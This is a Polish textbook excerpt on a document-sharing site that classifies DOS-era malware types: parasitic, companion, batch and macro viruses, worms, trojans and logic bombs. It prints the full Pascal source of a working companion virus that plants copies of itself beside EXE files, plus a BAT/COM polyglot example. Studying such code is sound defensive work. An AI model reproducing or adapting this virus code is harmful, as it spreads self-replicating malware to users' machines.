Scrigroup - Documente si articole

     

HomeDocumenteUploadResurseAlte limbi doc
BulgaraCeha slovacaCroataEnglezaEstonaFinlandezaFranceza
GermanaItalianaLetonaLituanianaMaghiaraOlandezaPoloneza
SarbaSlovenaSpaniolaSuedezaTurcaUcraineana

AdministracjaBajkiBotanikaBudynekChemiaEdukacjaElektronikaFinanse
FizycznyGeografiaGospodarkaGramatykaHistoriaKomputerówKsiążekKultura
LiteraturaMarketinguMatematykaMedycynaOdżywianiePolitykaPrawaPrzepisy kulinarne
PsychologiaRóżnychRozrywkaSportowychTechnikaZarządzanie

Rodzaje wirusów

komputerów



+ Font mai mare | - Font mai mic



DOCUMENTE SIMILARE

Rodzaje wirusów

2.1. Wirusy pasożytnicze (ang. parasite infectors)

W zasadzie większość istniejących wirusów to wirusy pasożytnicze, które wykorzystują swoje ofiary do transportu, modyfikując ich strukturę wewnętrzną. Jedynym ratunkiem dla zainfekowanych obiektów jest użycie szczepionki lub w ostateczności kopii zapasowych, gdyż zzarażane pliki z reguły nie są przez wirusa leczone. Wyjątek stanowią nieliczne wirusy wykorzystujące pliki tylko do transportu między komputerami, mające za główny cel infekcję tablicy partycji lub BOOT sektora dysku twardego. Po zainfekowaniu któregoś z tych obiektów wirus zmienia działanie i leczy wszystkie używane pliki znajdujące się na twardym dysku, a infekuje jedynie pliki już znajdujące się na dyskietkach lub dopiero na nie kopiowane.



Ze względu na miejsce zajmowane w zainfekowanych plikach wirusy pasożytnicze dzieli się na:
> Wirusy nadpisujące (ang. overwrite infectors), lokujące się na początku pliku, często nie zapamiętujące poprzedniej zawartości pliku (co w efekcie nieodwracalnie niszczy plik);
> Wirusy lokujące się na końcu pliku (ang. end of file infectors), najbardziej rozpowszechniona odmiana wirusów pa
sożytniczych, które modyfikują pewne ustalone struktury na początku pliku tak, aby wskazywały na wirusa, po czym dopisują się na jego końcu;
> Wirusy nagłówkowe (ang. header infectors), lokujące się w nagłówku plików EXE przeznaczonych dla systemu DOS; wyk
orzystują one fakt, iż nagłówek plików EXE jest standardowo ustawiany przez programy linkujące na wielokrotność jednego sektora (512 bajtów). Zwykle wirusy te nie przekraczają rozmiaru jednego sektora i infekuje poprzez przejęcie funkcji BIOS służących do odczytu i zapisu sektorów (02,03/13);

> Wirusy lokujące się w pliku w miejscu gdzie jest jakiś pusty, nie wykorzystany obszar (np. wypełniony ciągiem zer), który można nadpisać nie niszcząc pliku (ang. cave infectors),

> Wirusy lokujące się w dowolnym miejscu pliku (ang. surface infectors), dość rzadkie, bardzo trudne do napisania;

> Wirusy wykorzystujące część ostatniej Jednostki Alokacji Pliku JAP (ang. slack space infector), korzystające z faktu, iż plik rzadko zajmuje dokładnie wielokrotność jednej JAP.

2.2. Wirusy towarzyszące (ang. companion infectors

Wirusy tego typu są najczęściej pisane w językach wysokiego poziomu. Atakują one pliki, a ich działanie opiera się na hierarchii stosowanej przez DOS podczas uruchamiania programów.

W momencie uruchomiania programu, w przypadku nie podania rozszerzenia uruchamianego pliku, najpierw poszukiwany jest plik o rozszerzeniu COM, potem EXE, a na końcu BAT. W przypadku wykorzystywania interpretatora poleceń 4DOS dochodzą Jeszcze pliki BTM, poszukiwane podczas uruchamiania programu przed plikami BAT. Na przykład, jeżeli w jednym katalogu istnieją 3 pliki:

- PROG.BAT,

- PROG.COM,

- PROG.EXE,

to kolejność ich uruchamiania byłaby następująca:

- PROG.COM,

- PROG.EXE,

- PROG.BAT.

Plik PROG.COM będzie się uruchamiać, ilekroć będziemy podawać nazwę PROG bez rozszerzenia lub z rozszerzeniem COM. Plik PROG.EXE można w tym wypadku uruchomić wyłącznie poprzez podanie jego pełnej nazwy, bądź też poprzez uprzednie usunięcie pliku PROG.COM z danego katalogu. Z kolei uruchomienie pilku BAT wymaga albo usunięcia z katalogu obu plików: PROG-COM i PROG.EXE, albo też podania w linii poleceń całej jego nazwy. Jak widać, wirus ma kilka możliwości, aby zainfekować uruchamiany program:

- Istnieje plik COM: nie można zastosować infekcji;

Istnieje plik EXE: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM, zawierający wirusa;

- Istnieje plik BAT: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM lub EXE, zawierający wirusa.

Następna próba uruchomienia tak zarażonego programu spowoduje najpierw uruchomienie podszywającego się pod program wirusa, a dopiero ten, po zakończeniu pracy, przekaże sterowanie do programu macierzystego, najczęściej poprzez wywołanie programu interpretatora poleceń z parametrem: /C NazwaPlikuOfiary.

Ciekawym rozszerzeniem techniki opisanej powyżej jest sposób infekcji stosowany przez wirusy towarzyszące, wykorzystujące zmienną środowiskową PATH (ang. path companion infectors). Zmienna PATH określa listę katalogów przeszukiwanych przez system DOS podczas uruchamiania programu. Wirus wykorzystujący tę technikę tworzy plik, zawierający kod wirusa w innym katalogu, znajdującym się w zmiennej środowiskowej PATH przed katalogiem, w którym znajduje się zarażana ofiara. W tym wypadku infekcję można zastosować dla dowolnego z plików COM, EXE, BAT, gdyż kolejność uruchamiania zależna jest przede wszystkim od zawartości zmiennej PATH. Na przykład, jeżeli zmienna środowiskowa PATH określona jest jako:

PATH = C:;C:DOS;C:WINDOWS,

a w katalogu C:DOS umieścimy plik WIN.BAT, to podczas kolejnego wywoływania systemu WINDOWS (poprzez uruchomienie programu C:WINDOWSWIN.COM bez podawania ścieżki, czyli najczęściej WIN [ENTER]) z katalogu innego niż C:WINDOWS system uruchomi najpierw plik C:DOSWIN.BAT, a ten dopiero uruchomi właściwy program C:WINDOWSWIN.COM. Poniżej przedstawiono przykład prostego wirusa towarzyszącego. Jest on napisany w języku Pascal i infekuje parę plików COM, EXE.

;*)

Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;*)

;*)

KOMPAN v1.0, Autor : Adam Blaszczyk 1997 ;*)

;*)

Prosty wirus typu towarzyszacego ;*)

Infekuje pliki EXE w biezacym katalogu ;*)

Do istniejacego pliku EXE dopisuje plik o rozszerzeniu COM ;*)

;*)

uses

Dos, Crt;

const

MaskaEXE = '*.EXE';

var

Szuk : SearchRec;

NazwaNosiciela,

NazwaOfiary : String;

PlikNosiciela,

PlikOfiary : File;

DlugoscNosiciela : LongInt;

Bufor : Pointer;

I : Byte;

Status : Boolean;

begin

WriteLn;

WriteLn (' KOMPAN v1.0, Autor : Adam Blaszczyk 1997');

WriteLn;

NazwaNosiciela := ParamStr (0);

WriteLn (' Czy chcesz uruchomic wirusa (T/N) ?');

if UpCase(ReadKey)='T' then

begin

WriteLn;

Status :=False;

FindFirst (MaskaEXE, AnyFile, Szuk);

while (DosError = 0) and (IOResult = 0) and (not Status) do

begin

with Szuk do

if not ((Name='.') or

(Name='..') or

(not (Attr and Directory and VolumeID<>0))) then

begin

NazwaOfiary:=Name;

Delete (NazwaOfiary, Pos ('EXE',NazwaOfiary),3);

NazwaOfiary:=NazwaOfiary+'COM';

Assign (PlikOfiary, NazwaOfiary);

Reset (PlikOfiary,1);

if IOResult <> 0 then

begin

Status:=True;

WriteLn (' Tworze KOMPANA : ',NazwaOfiary);

Assign (PlikNosiciela, NazwaNosiciela);

Reset (PlikNosiciela, 1);

DlugoscNosiciela := FileSize (PlikNosiciela);

GetMem (Bufor,DlugoscNosiciela);

BlockRead (PlikNosiciela, Bufor^, DlugoscNosiciela);

ReWrite (PlikOfiary,1);

BlockWrite (PlikOfiary , Bufor^, DlugoscNosiciela);

Close (PlikNosiciela);

Close (PlikOfiary);

FreeMem (Bufor, DlugoscNosiciela);

end;

end;

FindNext (Szuk);

end;

If Not Status then WriteLn (' Nie znalazlem zadnego kandydata do infekcji !');

end;

Delete (NazwaNosiciela,Pos ('.COM',NazwaNosiciela),4);

NazwaNosiciela := '/C '+NazwaNosiciela+'.EXE';

for I:=1 to ParamCount do

NazwaNosiciela := NazwaNosiciela +' '+ParamStr(I);

SwapVectors;

Exec(GetEnv('COMSPEC'), NazwaNosiciela);

SwapVectors;

end.

2.3. Wirusy plików wsadowych (ang. batchviruses)

Wirusy plików wsadowych wykorzystujące do transportu pliki BAT, istnieją od dość dawna, pomimo raczej ubogiego zestawu środków, jakimi dysponuje ich potencjalny twórca. Może wydawać się to niedorzeczne, lecz często potrafią infekować nie tylko pliki BAT, ale także pliki COM, EXE czy sektor tablicy partycji (wymaga to odpowiedniego, wcale nie tak trudnego, zaprogramowania).

Po uruchomieniu zainfekowanego pliku wsadowego tworzony jest plik uruchamiamy COM lub EXE (za pomocą polecenia ECHO, którego parametry są przekierowywane do pliku), zawierający właściwy kod infekujący pliki BAT. Po utworzeniu jest on wykonywany, a następnie kasowany.

Ze względu na to, iż procesor nie rozróżnia kodu i danych, można, poprzez sprytną manipulację, utworzyć plik, który będzie mógł się wykonać zarówno Jako typowy plik BAT, jak i plik COM.

Na przykład typowe polecenia plików wsadowych, wykonywane przez procesor jako część kodu programu COM, będą rozumiane jako:

polecenie pliku BAT

instrukcje widziane przez procesor

REM

52h PUSH DX ; db 'R'

45h INC BP ; db 'E'

4Dh DEC BP ; db 'M'

ECHO

45h INC BP : db 'E'

43h INC BX : db 'C'

48h DEC AX ; db 'H'

4Fh DEC Dl ; db 'O'

40h INC AX ; db '@'

7t0 (deklaracja etykiety - interpretator nie wykonuje)

3Ah 37h CMP DH.[BX]; db ':7'

74h 30h JZ $+30h ; 't0'

Po uruchomieniu zainfekowanego w ten sposób pliku BAT wirus kopiuje się do pliku tymczasowego o rozszerzeniu COM i wykonuje się, tym razem jako kod maszynowy.

Poniżej zamieszczono przykład prostego pliku (na dyskietce, w katalogu COMBAT), który wykonuje się niezależnie od tego, czy jest wywoływany z rozszerzeniem BAT czy COM. Po uruchomieniu wyświetla on napis informujący o rozszerzeniu, z jakim został wywołany.

@ECHO OFF

@ECHO Dzialam jako plik BAT !

@GOTO KONIEC

¬II-I@SM_-!SL-!Dzialam jako plik COM !$

:KONIEC

2.4. Makrowirusy, wirusy makrosów (ang. macroviruses)

Tego typu wirusy to jeden z najnowszych pomysłów. Makrowirusy nie zarażają programów uruchamiałnych, lecz pliki zawierające definicje makr. Najpopularniejsze obiekty infekcji to pliki DOC (dokumenty: Microsoft Word), XLS (arkusze kalkulacyjne: Microsoft Excel), SAM (dokumenty: AmiPro).

Do mnożenia się makrowirusy wykorzystują funkcje zawarte w językach makr, wbudowanych w powyższe aplikacje, np. WordBasic w Microsoft Word lub Visual Basie for Applications w programie Microsoft Excel.

2.5. Generatory wirusów

Na przestrzeni ostatnich kilku lat pojawiło się wiele programów umożliwiających stworzenie własnego wirusa, nawet bez znajomości systemu, czy mechanizmów wykorzystywanych przez wirusy. Narzędzia tego typu są dostępne w sieci Internet. Korzystając z gotowych modułów w asemblerze można utworzyć wirusa o zadanych parametrach, wybieranych najczęściej przy pomocy przyjaznego użytkownikowi menu lub specjalnego pliku definicyjnego. Można więc określić zakres obiektów infekowanych przez tworzonego wirusa, rodzaj efektów specjalnych, sposób ewentualnej destrukcji, a także warunki zadziałania efektów specjalnych. Oprócz kodu wynikowego wirusa (gotowego do uruchomienia) generatory tworzą także pełne, najczęściej dobrze opisane źródła w asemblerze, co umożliwia przeciętnemu, ale zainteresowanemu pisaniem wirusów użytkownikowi, dokształcenie się w tej dziedzinie. Najbardziej znane generatory wirusów to: IVP (Instant Virus Production Kit), VCL (Virus Construction Laboratory), PS-MPC (Phalcon-Skism-Mass Produced Code Generator), G2 (G Squared) i NRLG (NukE Randomic Life Generator).

2.6. Robaki (ang. worms)

Robak to program, którego działanie sprowadza się do tworzenia własnych duplikatów, tak że nie atakuje on żadnych obiektów, jak to czynią wirusy. Oprócz zajmowania miejsca na dysku program ten rzadko wywołuje skutki uboczne. Podobnie jak wirusy towarzyszące, robaki najczęściej pisane są w językach wysokiego poziomu. Robaki są najbardziej popularne w sieciach, gdzie mają do dyspozycji protokoły transmisji sieciowej, dzięki którym mogą przemieszczać się po całej sieci.

2.7. Konie trojańskie (ang. trojan horses

Koń trojański nie jest wirusem komputerowym, ale ze względu na swoje działanie (najczęściej destrukcyjne) często bywa z nim utożsamiany.

Zasada działania koma trojańskiego jcst banalnie prosta. Uruchomio-ny, wykonuje niby to normalną prace, bezpośrednio wynikająca , przeznaczenia programu (np.: gra, demo, program użytkowy), lecz dodatkowo, niejako w tle, wykonuje jakies niezauważalne dla użyt-kownika operacje, (najczęściej po prostu niszczy - kasuje lub zamazu-je - dane na dysku twardym).

Konie trojańskie najczęściej przenoszą sie w plikach udających nowe, popularne programy kompresujące (np.: PKZIP, ARJ. RAR) lub też udają programy narzedziowe do obsługi dysków.

2.8. Bomby logiczne (ang. logical bombs)

O ile koń trojański wykonuje brudną robotę od razu po uruchomieniu, o tyle bomba swe destrukcyjne oblicze ukazuje tylko w określonym odpowiednimi warunkami czasie (najczęściej zależnie od aktualnej daty lub liczby poprzednich wywołań programu). Ze względu na to, iż właściwy, destrukcyjny kod może być ukryty w dowolnym miejscu programu zawierającego bombę, należy ostrożnie obchodzić się z aplikacjami, których pochodzenie jest nieznane. Mianem bomby określa się często także destrukcyjny, uruchamiany tylko po spełnieniu jakiegoś warunku, kod zawarty w wirusach.



Politica de confidentialitate | Termeni si conditii de utilizare



DISTRIBUIE DOCUMENTUL

Comentarii


Vizualizari: 621
Importanta: rank

Comenteaza documentul:

Te rugam sa te autentifici sau sa iti faci cont pentru a putea comenta

Creaza cont nou

Termeni si conditii de utilizare | Contact
© SCRIGROUP 2024 . All rights reserved